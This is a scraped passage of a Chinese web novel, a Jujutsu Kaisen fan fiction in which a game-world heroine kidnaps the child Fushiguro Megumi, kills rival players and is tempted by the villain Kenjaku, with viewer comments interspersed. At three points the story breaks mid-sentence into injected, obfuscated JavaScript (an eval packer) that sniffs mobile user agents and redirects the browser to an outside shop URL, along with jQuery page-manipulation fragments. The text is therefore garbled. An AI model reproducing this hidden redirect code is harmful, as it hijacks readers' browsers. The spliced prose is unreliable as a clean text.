被放下狠话的玩家默默缩了缩脑袋，身边的金发少爷头发凌乱，沉默了几秒，他猛地扭过头，漂亮的脸蛋扭曲着，揪住玩家的领子阴森地，仿佛恨不得嚼着她的血肉般说，“那个女人叫什么名字？！” 玩家：“我不知……少爷，我绝对知道哈哈哈，一定帮你查到这个恶毒又漂亮的美，女人是什么来头！” 玩家卡顿了一下，义愤填膺地改口，仿佛痛在他心。 ……不过她怎么忽然跑了，不打算杀他了？ 正要说出来，玩家身体突兀僵硬，他们的身后传来一道声音。 ——“禅院直哉。” “人呢？” 空气突然安静。 这声音听起来年轻又好听，玩家缓缓扭过头，最先看到的是一双色彩鲜明的蓝色眼瞳，白色蓬松的短发被风吹的有些凌乱。 没人回答，来人又问了一句。 “伏黑惠呢。” ……哇。 玩家良久才启动死机的大脑。 这是个超级大美人啊。 这个副本整体颜值都这么高的吗。 想跳槽了。 他动了动手指，呼了一口气，差点以为要死掉了。 “被诅咒师绑走咯。”玩家顶着压力，笑嘻嘻地说，“大概会被杀了吧，真可怜。” 借刀杀人而已。 反正他都不亏。 玩家惆怅地回忆了下刚才很戳自己xp的小美女，虔诚双手合十，叫面前身材挺拔的少年为老婆。 “……” 然后得到了一个看神经病的眼神。 诶，对咯！ * ——［好带感，好毒的嘴。］ ［完了，直哉要破防了，如果直哉的脸毁了……他全身上下也只有脸能看了。］ ［不过怎么回事，这是我能看到的吗，连马赛克都没有，就这么水灵灵的杀掉六个人？？？还以为是表面诅咒师实际咒术师的甜蜜咒回。］ ［退回去看了一眼简介，〈渚星也被神秘的力量牵引到另一个世界，在这个世界你能相信的只有自己，欢迎不同世界的玩家们来到逃生游戏，在厮杀与竞争中努力活下来吧……〉，啊，无限流版咒回啊。］ ［有点不对劲啊，她和直哉对话的时候，好像很了解直哉，问题是其他玩家一脸陌生的样子。］ ［主角就是这样嘛。］35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792361|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ［怎么突然跑了？还以为会连着直哉一起杀掉。］ ［虽然只有瞬间，但确实出现了一双蓝色的眼睛。］ ［猫猫！］ 这就是活人弹幕的威力，一个个拿着放大镜来看细节。 ［一般切号大号状态都不稳定……漫画里是这样的。］ ［不知道为什么，看到主角黑发绿眼长发及地的样子，我的xp雷达忽然就亮了，好想看同框啊啊啊啊。］ ［是咒术师来了吧。］ ［一般这种会有附近的咒术师来支援。］ ［会不会是五条老师赶过来了，可恶！好想看！］ ［拐跑了惠，绝对会被五条老师盯上吧。］ 被谁盯上了？ 黑雾散去，黑发少女出现在无人的小巷，她身体晃了一下，半蹲下来靠着墙，手臂上缠绕的绷带往外渗出黑红的血。 弹幕占据视野的全部，她抬起手，绷带往下渗血。 吵。 好吵。 没有一个安静的地方。 刚才感受到了危险就离开了，身体里的怪物依旧很活跃。少女站起来要走，袖子传来拉扯力，低下头，被她顺手带过来的小男孩抓着她的袖子，他抿着嘴，不说话，就用绿色的眼睛看她。 ［呜呜呜好可爱的小惠，惠不会还遵守不安静就会死的话吧，心疼了宝宝，你怎么这么听话。］ ［差点被诅咒师杀死又被诅咒师抓走，还当着小惠的面杀人，他还是个三岁的宝宝！］ ［这个年龄不记事，不知道会不会有心理阴影。］ ［应该记不住吧，小惠都不知道他爸爸已经噶了，涩谷也没记起来。］ 被骂了。 他叫谁来着。 惠，惠……伏黑惠。 不在意。 黑发少女扯掉自己的衣服，从巷子里走出去，即使夜晚也有很多车辆和人，上班族互相搂着喝着酒大声嚷嚷，外放的音乐，打电话的声音，车辆打着喇叭的喧嚣声…… 跌跌撞撞了几步又退回去，头痛欲裂。 她捂住耳朵，刚刚褪下去的黑色流体又涌动着覆盖白皙的手，将绷带彻底染色。 想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人想杀人头好痛头好痛头好痛头好痛头好痛头好痛头好痛好吵好吵好吵好吵好吵好吵好吵为什么不安静下来都安静都闭嘴闭嘴闭嘴闭嘴闭嘴闭嘴！！！ 脚下的黑色流体因为她的混乱不稳定，逐渐地从小巷蔓延，朝着光的方向涌动，从地面，从墙上，从四面八方。 一只手贴上了她的手背。 脑海中的混乱尖叫戛然而止。 少女慢慢抬眼。 头发有些炸炸的，像小海胆一样的男孩踮起脚想要伸手捂住她的耳朵。 很热。 被怪物寄宿后，她的身体一直都很冰凉。 她歪着脑袋，盯着伏黑惠。 是暖宝宝。 “可以说话。” 渚星也嗓音沙哑，绿莹莹的眼瞳在黑暗中发着诡异的光。 “……津美纪。”伏黑惠的声音在这种不含感情的目光下滞了下，他磕磕巴巴地说，“你会，带我去找津美纪吗。” 少女缓慢眨眼，目光让人不寒而栗。 她倏地扬起唇角。 “不——要。” 黑发少女拖长尾音，饱含恶劣。 “你永远都见不到了。” 她伸出手，拂过伏黑惠眼角的泪水，顺手弹了个脑瓜崩儿。 “眼泪没有任何作用。” 7. 第七章 放下狠话后伏黑惠眼眶红着瞪她，始作俑者什么也不在意一样，抓着惠牌暖宝宝抱在怀里，脑袋搁上去自顾自的睡过去。 然后她就清醒了。 怎么杀玩家，怎么让禅院直哉生气说他是四爱圣体，绑走伏黑惠的记忆…… 一、清、二、楚。 还吓小孩。 不过杀死了诅咒师。 系统给的身份是有不能ooc的指标，让npc发觉不对劲是会被扣积分和惩罚任务。 这次黑暗面下线的有点快，也没有很凶，是因为刚进来副本的原因吗，还是她给自己的暗示起效果了？ 面具还扣在脸上，头发变长好麻烦，还好疼。 还有对即将到来的危险头疼。 禅院家肯定是要来追杀她的，绑架了他们未来的家主。还有以前的推，咒回最烫的男人，现代最强咪咪，看着本来之后自己养的小海胆中途被诅咒师抢走，会来找她的麻烦。 自己要跑就是因为不想接触目前阵营最大的麻烦，那种情况下，碰面了很大的可能会被抓走。 ——“不许睡。” 渚星也垂眸一看，顿时抓住伏黑惠的领子，小猫一样的姿势晃了晃。 已经很晚了，小巷外面的人少了大半几近无人，她靠在墙边，伏黑惠也蹲着靠在墙上，大概睡意涌上来，他点着脑袋，身子不受控制向左滑下来，靠到她的身上。 没打盹几分钟，她就把人拎起来，强行弄醒。 隐约记得经历创伤后6个小时内不能睡觉。 还只是三岁的小孩子红着眼睛瞪她，忍不住打了个哈欠，困是因为受到的刺激大，加上被她恐吓到，大脑暂时还处理不了太复杂的信息，只能强制让身体的主人睡过去。 困得站都站不稳。 忧愁。 都说了黑暗面的自己很危险了，能毫无顾忌的在小孩面前杀人砍头，还轻易说出她自己都受不了的话。 她不养小孩啊。 就算是以前的推她也不养啊。 还是赶快把人送回去吧，她现在这个身份怪招仇恨。 身上身无分文，衣服上还有血，好在天黑看不到，渚星也用袖子潦草的擦掉伏黑惠脸上溅上的血，小孩下意识想躲避，她眼睛也不眨一下，按住脑袋笑容邪恶：“不听话现在就把你丢河里，你就永远也见不到你姐姐啦。” “……” 伏黑惠听到她的话垂下了头，一动也不动，僵硬的像人偶。 她欺负小孩子了。 但是真的很暖和的。 自从成为“门”后，她的身体一直都是冰冷的，流的血都不是红色的了。 渚星也仗着自己戴面具，抬手戳了戳自推的脸，兀自思考。 她是不是都患上皮肤饥渴症了。 黑发少女面具下的眼瞳看着伏黑惠，睫羽轻轻落下，伸出自己的手。 伏黑惠抬起脑袋看她，愣愣地看着她，半晌，他安静握住了她的小指，上前几步，将自己的脸贴到渚星也的手上，比她要澄澈的眼瞳泛着水光。 仿佛小猫无声地说—— 我会听话的。 有点可爱。 渚星也：“别以为装可爱我就会怜爱你。” 说完拉着他的手往外走。 先找一个住的地方，天亮了就把伏黑惠送回去。 “呦。” 一个熟悉又陌生的声音在头顶响起。 渚星也将伏黑惠拉进怀里，黑刃出现在手中，抬手指月。 月下棕发俊秀的青年笑容温和，被她用刀指着，语气有些受伤。 “星也，看到我很惊讶吗。” “……” 这个脑花！ 渚星也回以灿烂笑容，抬刀脚尖轻点朝向他的脖颈砍下，“去死。” 要不是这货跑得快，也和那几个玩家诅咒师一样，被她砍了。 伦。 不对。 披着可怜帅哥壳子的羂索。 渚星也庆幸有面具遮掩，对面看不到她是什么表情。 “还没变回来啊……” 弯下腰躲避攻击的羂索若有所思，刀锋斩断他的碎发，青年忽地一笑。 “不对。” 他用肯定的语气。 “你变回来了。” 挥刀的速度似乎没什么改变，但明显的没有那种不顾他人死活的辛辣狠意。 而且。 眼前的少女有意避开那个小孩，不让他看到这一幕，还会挡在他的面前，防止他攻击。 不太疯。 这个还有理智。 “星也，你没有地方落脚吧。” 羂索说道：“要来我这里吗。” 渚星也很想硬气的拒绝，但羂索举起手指平静地说：“你没有钱。” 这是其一。 “禅院家和五条家在调查你，你的账户被冻结，住的房子现在估计被监视。” 这是其二。 至于其三…… “你要带着他睡大街吗。” 三岁小孩握着拳蹭了蹭眼睛，困得睁不开眼。 以及—— “因为你的临时反水，星也你在诅咒师中的信誉变得很低，大概找不到同行的同伴了。” 渚星也：“……” 哇，她自己把路给走死了。 “当然，你不用担心自己的安全。”棕发俊秀，长着一张初恋脸的青年微微一笑，“我并不是一个人在住，还有人，她可以帮忙照顾伏黑惠。” 如果渚星也不知道这人是羂索，那他说的这些简直是雪中送炭。 她身上有什么被注意到了。 渚星也转动大脑。 ［“你的术式很有趣。”］ 仿佛被闪电击中，这句话浮现在脑中。 术式。 吞噬的术式？ 他看上了这个吗。 面具下的漆黑眼瞳闪动了下，渚星也“诶”了一声，拖着尾音，像在困惑，困惑了一小会儿，她点点头。 “那好噢，带路吧，土豆。” “……我的名字是伦。” “噢。” 渚星也当自己听不见。 他看上自己的术式？还是想要占据她的身体？或者单纯的想利用她，像漫画里利用那些特级咒灵？ 前两个估计很悬，她身体里的那些怪物，说不定会吃掉他。 后者的话…… 渚星也打了个哈欠。 她不信这个世界的每一个人。 * 羂索带她来到一家二层小公寓，窗帘遮掩，隐隐约约能看到里面亮着灯。 他轻车熟路地拿出钥匙打开门，并说：“脏掉的衣服挂在衣架上，等会儿我扔进洗衣机洗。” 违和感好重。 她听到下楼的声音。 说实话，渚星也很好奇能和这个千年老妖怪同居的人是谁，不会也是诅咒师吧。 但下楼的脚步很缓慢，能听到“咚”、“咚”、“咚”，像是棍子落到地面的声音。 她抬眸，看过去。 “……” 从楼上走下来的，是一个平凡至极，普通又年迈的老人，头发花白，佝偻着背，身上裹着红色的披肩。 “咚”“咚”的声音是拐杖。 “阿伦啊，你回来了？” 老人说话缓慢，咬字也不怎么清晰。 “嗯，外婆。”青年平淡地说，“我回来了。” 那双混浊的眼睛望向她，“是带了别人吗。” “带了朋友，她有点认生，你回去睡觉，我来安顿就好。” “阿婆我也快看不到了，你们早点睡觉。” 简单的对话。 看上去困倦，语气透着亲昵的老人。 眼瞳没有感情，却嗓音带笑的青年。 老人视力不好，看不清她是男是女，见她不说话，笑了笑转身慢吞吞地离开。 茶几上摆放着老人的杯子，沙发旁边的小桌是针线盒和针织到一半的毛衣，地毯有缺口，被同色系的布补好，这里的每一处都透露着生活的痕迹。 “……” 好讨厌。 浓郁的违和，不适，让渚星也想要撕开这刻意维持的假面。 太假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792362|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 黑发少女动了动右手，抓住颤抖着的左手腕，察觉到她心底滋生的黑暗，黑色流体迫不及待的溢出布料，似要化作刀刃刺破他的喉咙。 是不是因为和祖母很像，她又要失控了？ 渚星也自己也不知道，她能想到影响自己的，只有穿越后遇到的祖母了。 她抬起头，对上一双棕色的眼瞳。 羂索眼一弯，温声问：“怎么了？” 玩弄死者的身体，生者的感情会好玩吗，渚星也想问出来。 藏在这副身体下的恶鬼，笑意敷衍，虚伪，在那张脸上描摹涂鸦，轻慢伪装自己，俯瞰算计着这世界。 毫无痕迹。 如果不是知道缝合线下的东西是什么，她也会被这张脸骗过去。 “没什么。” “你既然有家人，为什么要当诅咒师？” 她问。 “诅咒师的收入高。” “杀了很多人吧？” “哈哈，你猜，我可没有星也你这样好用的术式。” 人类都是天生的骗子，世界上没有不会撒谎的人。 “……伦。”黑发少女开口，黑色面具让人无法看透她的表情，只有声音落在耳畔，听起来十分天真，“杀那么多人，你会害怕碰到恶鬼吗。” “恶鬼？” 棕发青年轻笑了一声，不紧不慢地说，“我还挺想遇到恶鬼缠身的，何况……” 他顿了下，莞尔。 “你不也和我一样？” 哦，忘记了，大家都是诅咒师。 都是烂人，没什么好比的。 不对诶，她再怎么人渣，也比这人要好太多了。 ［救命……］ 弹幕迟迟上线。 ［正卷里没有娟子占条杰身体前用谁的身体的剧情，没想到番外卷出来了。］ ［缝合线会是我永远的ptsd。］ ［所以现在这副身体是有家人的，娟子会叫别人外婆，我天……］ ［当纱织的时候不也叫别人老公吗，这有啥。］ ［娟子：那咋了？］ ［啊啊啊啊啊我要疯了什么恶人组，这是要彻底释放自己的xp吗，我的惠还在魔窟啊呜呜呜。］ ［本来温馨的祖孙情，因为头顶的缝合线瞬间变得惊悚了，娟子这诡异的非人感，无害的眼睛被他一用，都像鬼在盯着。］ ［感觉主角和娟子之间好怪，主角是不是话里有话啊。］ ［我还是那句话，妹快和正卷多多互动啊！］ ［这个娟子想干嘛？］ ［盯上主角的术式了吧，之前不是被砍头的肌肉男说过，主角有吞噬他人就能复制获得能力的术式。］ ［又一个骨子哥。］ ［惠：困死了，谁能管管我的死活？］ ［别睡啊惠宝，支棱起来。］ ［这个人看上去就很讨厌诶，有点像发霉的面包。］ ［渚同学好像不喜欢他。］ ［这就是为了孩子勉强和讨厌的人待在一起吗。］ 弹幕都看出来羂索的司马昭之心了。 渚星也瞥了眼正在忙前忙后羂索，他似乎真把自己当一个有一个外婆，为了赚钱当诅咒师杀人，有点善良但不多的可怜人，拿起脏掉的衣服塞进洗衣机，还给她睡的地方换了新的床单。 “不用分开。” 她提醒了一句，“我和他一起睡。” 羂索看了眼伏黑惠，点头应了一声，“好。” 渚星也：“我饿了。” “那我下碗面给你吃。” 渚星也：“吃面我喜欢配冰饮料喝。” 羂索笑笑，很纵容道：“有可乐，我现在冻冰箱。” “一个人吃太无聊了，你们和我一起吃。” “好。” 渚星也扭头，手拍了拍伏黑惠的脑袋，“你也不要闲着，去给我铺床，铺好了出来陪我吃饭。” 小孩没怎么犹豫地跳下沙发。 “我不饿。” “行噢，那你看着我吃。” 渚星也回答的干脆。 8. 第八章 凌晨三点。 渚星也盯着闹钟，掐着点让伏黑惠睡了。 两个枕头，小孩蜷缩着睡成一团，怀里抱着她的枕头，没有哭，没有闹，省心的让她欣慰。 她睡不着，无聊看着系统面板，系统很贴心，给玩家的系统界面像手机一样，还有电影可以看。 这就是临终关怀吧。 突然系统界面亮起红光，地图自动跳出来，不远处有绿色的倒三角闯入地图中，缓缓移动。 黑发少女从床上坐起来。 这是系统的功能，其他玩家进入一定范围内就会出现在玩家的视野中。 小孩睁开迷蒙的眼，渚星也打开系统拍了张照片才落下一句。 “睡你的觉。” 衣角又被拉住。 小孩子确实很容易缺乏安全感。 渚星也她没带过孩子，已知的全部也就是自己的小时候，和长大后遇到的熊孩子，她小时候的教育可不适合用在惠身上，会死人的。 “你听话我就不会扔下你。” 渚星也说，用诅咒师的口吻。 穿上衣服，看着紧闭的门，没有选择从正门出去，伏黑惠睡着后，她打开窗户，从二楼跳下去。 黑暗面和普通状态下的她，相当于满级和正在升级的区别，后者没有理性，能够毫无顾忌的利用怪物的能力，不怕痛不怕死，嘴巴也很厉害，说起狠毒的话是一个接一个。 普通状态下的她也没有那么弱，她也是经历了三个副本，遇到过大大小小的boss，从它们手里逃生活下来的，但她不能完全掌握［枝桠］的力量，她最多是用枝桠变成武器，没有试过主动的吞噬他人获得他人的能力，被动吞噬的会成为怪物的养分……毕竟怪物在她的身体里，也是需要安抚的。 她现在的实力，比刚进副本的玩家强一点，她跟着【副本】里的武士boss学过体术，会用刀，四肢的力量也比一般的玩家强一些。 用枝桠和自己体术，大概够得上三级咒术师的能力，如果玩家用手枪她用刀，会被手枪干倒的程度。 大多数玩家刚进副本，都是没有技能和道具，都是做支线任务掉落下来，一点点变强，通过很多个副本的玩家身体素质远超常人，进入副本的第一时间就是打怪升级攒装备。 活下来的只能有一个。 她不能死。 快点解决完玩家回去吧，羂索有自己的计划，应该不会对伏黑惠下手。 渚星也闭眼，摒弃杂念，黑刃出现在她的手中，就好似她身体的一部分，没有任何的生疏和不习惯。 系统地图上的三角标识离她还有一段距离，她向前迈出一步，抬头看地图，绿色的三角标识在地图中消失。 ［后面，后面啊。］ ［哥们assassin啊。］ 不好—— 雪亮的刀光划出，她一个旋身，黑刃削过去，“铮”得一声，刀刃击落寒光。 寒光四射的短刀落在地上，刀身很薄，像纸片一样，薄而锋利。 又是一声“咔”，覆在脸上的面具突兀出现一道裂缝。 “……” 好快。 渚星也手指触到面具边缘，裂缝被修复，她看向四周，空无一人，只有树枝轻轻的摇晃。 天空很暗，一点星星也没有。 地图上消失的绿色标识突然出现，就在她的左上侧。 刀一动，脸色在刀光下冰冷。 ——“咔嚓” 树被一刀砍下，哗啦啦倒下，她眼中出现一刀虚影，紧接着手背一痛，渚星也低眸一看，手背被刺入了一根很细的针。 甩掉针，白皙的手背瞬间出现树叶般的红色纹路，柔软的皮肤仿佛被火灼烧一般。 这个刺客一点也不纯！ 又耍飞刀又用飞针还用毒，生怕玩家一次死不了，反复鞭尸。 黑色流体在毒性还未蔓延前迅速吞噬，渚星也手一颤，更加用力地握住刀柄，她看不到玩家的身影，通过这些攻击，大概了解到技能应该属于刺客类型。 看不到……是隐身吗。 渚星也耐心的等待合适的实力，一边躲避飞射过来的短刀，保持警惕，防止被偷袭。 三，二…… 一。 一道身影若隐若现，在昏黄的路灯下显形，同时无法让人避开，从四方穿透飘落的树叶，化作无数寒光，纵横飞舞。 这是放大招了。 根本不能全部躲过去。 这个玩家，主动找上门来，就是做好了充足的准备要猎杀她。 开什么玩笑—— 渚星也抬刀攻向一处，忽然“嗤”的一响，血花溅开，薄而锋利的短刀插进她的肩膀，手臂，腰腹，也被擦过的短刀划过七八处伤口。 灯下的身影愈发清晰，朦胧夜色中，她窥到暗处玩家嘴角的笑容。 就是现在。 渚星也滑到地上，就势一滚，踹断其他的树，将正处于隐身cd状态的玩家前后左右的退路都已被封死。 她反手一刀，向玩家迎了过去。 “噗”—— 刀锋穿透玩家的头，鲜血四溅。 【击杀人数：1】 【剩余玩家人数：117】 又杀人了。 渚星也喘着气，高强度的注意力集中，蓦然松懈下来，让她的眼前一度模糊，她后退了一步，刀插在地上。 过了多久？渚星也想，她不知道。 只知道很快，每一秒都有可能被杀，和之前不一样。 好疼。 疼死人了。 渚星也痛的眼泪差点出来，短刀插进她的肩膀，她深呼了一口气将刀拔出来，拔出来的倒刺还勾着血肉，她脸色苍白，冷汗连连。 放空大脑，她仰头数星星，这样疼痛就能少一点。 渚星也不喜欢杀人，但到了非杀不可的时候，也不会手软。 缓了会儿，她站起来，手摸着玩家的胳膊，拍了拍，黑色流体状疑似物质的突兀显现，紧紧包裹着尸体，不仅覆盖了整个尸体表面，还沿着地面缓缓延伸，如同拥有生命般，不断地收缩、挤压，最终将尸体完全吞噬，只留下一滩闪烁着光亮的黑色液体，在月光下缓缓流动，散发着令人心悸的气息。 手中的黑色流体融入皮肤，渚星也握了握手，完全消失，身体变得更轻盈了。 她心念一动，视野中自己的手变得透明，一些关于技能的信息出现在脑海。 【刺客技能】 【该技能能让使用者隐匿自身，便于发动致命刺杀。】 刚开始副本，一些玩家没有足够积分兑换到技能，这个玩家也挺厉害的。 血流的止不住，系统可没有那么好心给治疗的技能，玩家受伤了就得自己去包扎，因为伤势过重死去的玩家也不在少数。 渚星也站起来看着天色，这个点，她到小诊所买纱布先止血，后面就看玩家的体质了，能自己回血，就是慢了点。 这个世界的奶妈，她只知道家入硝子。 好想拥有反转术式啊。 她朝着光亮处走，路过闭店的便利店，透过紧闭的大门，看到自己的样子。 很狼狈，身体各处都有被刀划过的痕迹，左肩血淋淋的流着血。 ［妹，好惨，我都要怜爱了。］ ［大晚上的都睡不了好觉，真正意义上的一波三折啊。］ ［血，好多血啊，来个奶妈啊。］ ［奶妈只有硝子，星也还是诅咒师，不可能治的吧。］ ［一边是对妹虎视眈眈的咒术师，一边是娟子为代表的诅咒师，还有互为厮杀的玩家们……什么地狱开局，让我说什么好。］ ［太惨了，星也还是学生吧。］ 是啊，好惨的。 全身上下都疼得不像话，每次用［枝桠］，浑身的皮肤都好像被火灼伤又重新生长出来一样。 渚星也眨巴了下眼，额头上的血流了下来，不舒服，她撤掉面具，抬起袖子擦了擦眼睫毛上沾到的血。 “一眨眼没看住，你怎么又变得这么可怜？” 羂索站在不远处望着她。 渚星也：“……” 他是鬼吗阴魂不散的，看着真让人堵心，本来就不喜欢，穿越后更讨厌了。 “伤的好重，要帮忙吗。” “不要。”渚星也拒绝。 “你离我远一点。” 羂索抬眸看她，有些奇怪的表情，“你好像很讨厌我？” 去掉好像。 没人会厨羂索吧。 渚星也心里想着，让涣散的注意力集中，弹幕说的对，她刚杀完玩家，这个人就跑出来，让她一刻都不能停歇。 棕发青年叹了口气，很惋惜。 “你很有趣，如果可以，我不希望你对我有意见。” 黑发少女注视着他，青年说得漫不经心，向前走了几步，那双眼睛牢牢锁定着她。 她还是不够强啊。 “你知道吗，星也，你很强大，很有天赋。” 开始了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13792363|145904||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，类似的话她听过好多好多次，这次是想要她干什么。 满是血的手被他握住，青年似乎思考了很久，缓缓说，“即使现在的你不敌我，但只要给你时间，总有一天，你能打败五条悟。” “你知道他吧，咒术界没有人不知道他。” “你不想打败他吗。” 他眼睛一弯，从怀里拿出雪白的绷带，捏着她的手腕，一圈又一圈缠绕住，指尖划过伤口处，又疼又麻。 她怕疼，会忍痛。 即使疼得眼睛红了，也没有溢出一声痛哼。 “不想。” 渚星也说。 “他是我推。” 时髦的词让棕发青年笑容一僵，他给绷带绑了个蝴蝶结，又强势地说：“那你不想得到他吗。” 啊。 她超容易满足的，比起正主更想要一个棉花娃娃。 小卡也可以啊。 似乎怕她误会，羂索又补充几句。 “你很喜欢那个叫伏黑惠的孩子吧，他是禅院家的十种影法术，如果拒绝禅院家，那他就会被五条悟收养。” “你喜欢的孩子会是他的。” “你具有强大的天赋，咒术界的荣光和注视应在你身上，死者作为养分能让你变得更强，你难道想一直被咒术师敌对，追杀吗？” 他又拿出手帕，细致擦着她脸上的血。 随意的，轻声蛊惑。 “星也，你可以成为新世界的神。” “你会比五条悟更强，比他更受欢迎，更受到千万人推崇追随。” “看……” 青年手指揩去她沾在睫毛上的泪，温柔地说：“你哭的也比他要好看啊。” 她要是再冥顽不化，是不是就有些不知好歹了。 渚星也后仰了下脑袋，不喜欢被碰。 而且，说得五条悟好像魅魔啊。 饼画的真好吃。 看似是劝告她，不要浪费自己的天赋，让她做选择题，实际上呢，渚星也知道这个人可以换皮，女性的皮他也不介意，护士装都穿的可开心了。 好讨厌。 被这种人骗到手是小狗吧。 “你自己怎么不去得到五条悟，说成这个样子，你主动一下，五条悟也是你的，咒术界的荣光和注视也能在你身上。” 羂索看她。 渚星也：“哦，我乱说的。” 羂索擦完她脸上的血，双手从后面环住她的肩膀，在她脸侧轻声说：“你有讨厌的人吗，或者说，你的前男友，星也你不是说过你有？” “需要我帮你解决掉吗。” “我对你很期待，所以会帮你达成你的愿望。” “……前男友，不在这个世界，我也不喜欢他了。” 渚星也扁了扁嘴，她的眼睛很黑，在无星的黑夜中，仿佛能吸进所有的光。 “可是我讨厌我自己，讨厌那个不受控制的我，你也看到了，她和我不一样，她很凶的，她出现就会杀了所有人，这样也可以吗。” 棕发青年的笑意更深了，他抬起手揉了揉少女的头，嘴角噙着笑。 “那也是你的一部分。” “我会帮你，帮你控制自己。” 羂索说得真心实意。 （星也，要杀了他吗） （不行……不行，你做不到，星也你现在太弱了嘻嘻嘻） “伦，你觉得恶鬼的血是什么颜色。”渚星也忽然没头没尾地问。 青年愣了下，捏着下巴回答，“黑色？” “星也呢，认为是什么颜色吧。” “红色。” 她听到自己的心跳声，抬手擦了擦脸上的脸，自己的手上都是红色的血，血只要流一次，就会越流越多，她的声音踩着节奏，慢吞吞地抬头，笑容明媚说道。 “因为地狱空荡荡，恶鬼在人间啦。” “怎么一直在说恶鬼，你对神鬼文化很感兴趣吗。” 当然啊。 黑发少女漆黑的眼一眨不眨，她抓紧黑刃，转过身一晃一晃地走，跳到花园的路边石，像小孩子玩闹般，幼稚地稳定着身体往前走。 没得到回答的羂索也不在意，笑了下走在她的旁边，在少女身子斜了下时不忘伸手帮着支撑。 ——你们，不是很饿吗？ 渚星也一边玩，一边对身体里的怪物们说。 吃掉他。 她清醒的心想。 如果靠吞噬他人能够获得能力，那就挑他好了。 帮我。 9. 第九章 ［失语了］ ［我的天……］ ［我万万没想到，我能磕到娟子和别人。］ ［娟子这个皮有点姿色才好嗑。］ ［难道不是娟子摆在明面的阴谋诡计最好嗑吗。］ ［血都流成这个样子了，不答应让娟子干脆利落杀了后占据她的身体啊。］ ［不要啊啊啊啊我一点也不想看到妹头顶缝合线的画面，太恐怖故事了。］ ［不过真的，娟子给妹抹眼泪的那一刻，有点嗑头。］ ［薛定谔的前男友，谁啊。］ ［不光你好奇，我也好好奇。］ ［妹说话好萌好萌，好想一口吃掉。］ ［原来五条悟是妹的推吗。］ ［我就说全咒术界只有五条厨和扭曲的五条厨吧。］ ［想变强找五条悟啊，他超乐意的，那可是无私慷慨，天下第一好的Gojo Satoru，而且还是粉丝，打九点五折！］ ［虽然但是……我也觉得和来历不明的人待在一起很危险。］ 渚星也流血流得都没精力管弹幕，她咸鱼躺尸一样躺在酒店的床上，被消毒止血，缝合好身上的伤口。 天已经蒙蒙亮。 “不再休息一会儿吗。” “不。” 还有个伏黑惠要处理，今天送回家。 她坐起来，弯下腰穿上鞋子，穿上外套，半边身子都是绷带，因为［枝桠］的原因，她的手臂上也绑着绷带。 衣服是羂索带过来的。 渚星也看了眼自己。 “为什么是裙子？” 棕发青年撑着脸说：“女孩子不都喜欢裙子吗，这是当季新款，喜欢吗。” 喜欢啊，她也是女孩子，肯定也喜欢可爱的东西。 问题是不方便。 不是自己花钱，她也不想说，吐出一句审美差死了，讨厌。 回去就换掉。 “送走伏黑惠后，记得考虑一下我说的话。” 渚星也比了个ok，头也不回的离开。 羂索说的是半夜他发表一大堆证实五条悟是魅魔并且想让她成为新魅魔的话，在他的一大波输出下，渚星也也没有直接就说“我愿意”“我要打败五条悟封顶咒术界无冕之王”的中二话。 她就说暂时考虑考虑。 羂索表示理解，给她时间，贴心地说那些来找她麻烦的人，他会帮忙解决。 弹幕帮忙翻译。 ［你不同意，我就一直跟着你，盯着你，视奸你，永远。］ ［讨厌～］ ［好娇的星也。］ ［可爱，说话好萌宝。］ 渚星也：“……” 我谢谢你们解读。 羂索不知道把她带到了哪里，她拧开门把手，就出现在车水马龙中，置身于人群之中，给她鲜活的活人气息。 回去找伏黑惠，他们两个都出去了，房子里只有一个老人和小孩。 寻着记忆中的路线，渚星也走到二层小公寓前，她没有走正门，手一撑，从二楼的阳台翻上去。 “我回来——” 啦。 提醒的话还没说完，渚星也望着眼前空无一人的卧室戛然而止。 咦，人跑到哪里去了？ ………… 渚星也问了早上起来很早的老人，年迈的老人惊讶睁开眼，说自己耳朵和眼睛都不好了，隐约是听到了脚步声，以为是伦回来了。 “阿伦经常这样。” 她没有告诉老人是孩子丢了，只说找不到朋友。 老人在她查监控看人跑到哪里去的时候，给伦打了电话，让本来在外面的羂索折返回来。 棕发青年叹了口气。 “真是什么也做不好。” 他说着：“还以为会更省事一点。” 老人没听到，拐杖“咚”“咚”，焦急地来回踱步，戴上老花镜看清监控画面。 但渚星也听到了。 ［危，奶奶危险。］ ［娟子，你的口吻和眼神真的很让人害怕，你不会要换个壳子杀人吧。］ ［选择只剩下一个奶奶的孙子，还说老人看不住孩子什么也做不了……］ ［所以，这个壳子是后期娟子上身做的诅咒师，还是本来就是诅咒师，如果是后者，那娟子真的就是在恶心人了。］ ［看这家的陈设能看出来啊，处处都是生活的气息，也没有穷困潦倒到非要做诅咒师才有钱拿吧。］ 